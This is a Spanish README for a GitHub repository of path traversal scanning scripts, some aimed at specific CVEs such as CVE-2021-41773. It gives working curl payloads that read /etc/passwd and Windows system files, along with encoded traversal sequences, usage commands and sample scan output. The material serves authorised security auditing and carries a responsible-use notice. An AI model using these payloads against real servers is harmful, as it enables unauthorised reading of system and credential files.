Colección de scripts en Bash, Python y NSE (Nmap) para detectar y verificar vulnerabilidades de Path Traversal / Directory Traversal en servidores web, incluyendo pruebas específicas para varios CVE conocidos.

• ¿Qué es Path Traversal?
• ¿Qué incluye este repositorio?
• Requisitos
• Instalación
• Uso rápido
• Scripts de explotación por CVE
• Herramientas generales
• Diccionario de payloads
• Ejemplo de ejecución
• Códigos de respuesta HTTP relevantes
• Aviso legal / Uso responsable
• Licencia
• Contribuciones

Path Traversal (también llamado Directory Traversal) es una vulnerabilidad web que permite a un atacante salir del directorio raíz de una aplicación y acceder a archivos y carpetas del sistema que no deberían ser accesibles públicamente.

Se explota manipulando parámetros de la URL o entradas de usuario que contienen rutas de archivo, insertando secuencias como ../ (o sus variantes codificadas: %2e%2e%2f, ..%c0%af, etc.) para navegar por el sistema de ficheros del servidor.

Cuando la validación de entradas es insuficiente, un atacante puede llegar a leer archivos sensibles como:

Ejemplo básico de payload:

curl --path-as-is -k -v http://<ip>:80/../../../../../etc/passwd

Ejemplo en Windows:

curl --path-as-is -k -v http://<ip>:80/../../../../../../windows/system32/cmd.exe

El flag --path-as-is evita que curl normalice la ruta (eliminando los ../) antes de enviarla al servidor.

• Sistema Linux/Unix (probado en distribuciones tipo Debian/Ubuntu, Kali)
• bash
• curl
• python3 (para dir.py)
• nmap (para traversal.nse)
• git (para clonar el repositorio y el diccionario asociado)
• Permisos y autorización explícita para probar el objetivo (ver aviso legal)

git clone https://github.com/hackingyseguridad/directoriotraversal.git
cd directoriotraversal
chmod +x *.sh

Para obtener/actualizar el diccionario de payloads:

./actualizar.sh

# Prueba genérica de Directory Traversal contra un objetivo
./directoriotraversal.sh <ip_o_dominio>

# Variante alternativa del escáner
./directoriotraversal2.sh <ip_o_dominio>

# Prueba específica sobre servidores Apache
./apache_path_traversal.sh <ip_o_dominio>

# Prueba de una CVE puntual (ejemplo: Apache Path Traversal 2021)
./CVE-2021-41773.sh <ip_o_dominio>

Sustituye <ip_o_dominio> por el host objetivo que tengas autorizado para auditar.

El repositorio utiliza un diccionario externo de rutas y payloads de traversal, mantenido en:

🔗 diccionarios/pathtraversal.txt

Se descarga/actualiza automáticamente con:

./actualizar.sh

$ ./directoriotraversal.sh example.com

[+] Probando payloads de Directory Traversal contra example.com ...
[+] Cargando diccionario: pathtraversal.txt
[+] Payload: ../../../../etc/passwd        -> 403 Forbidden
[+] Payload: ..%2f..%2f..%2fetc%2fpasswd    -> 200 OK   [POSIBLE VULNERABLE]
[+] Reporte guardado en resultados.txt

El resultado y formato exacto pueden variar según el script utilizado; revisa la salida de -h o --help de cada script si está disponible.

Referencia completa: RFC 2616 - Códigos de estado HTTP

www.hackingyseguridad.com

diccionarios/pathtraversal.txt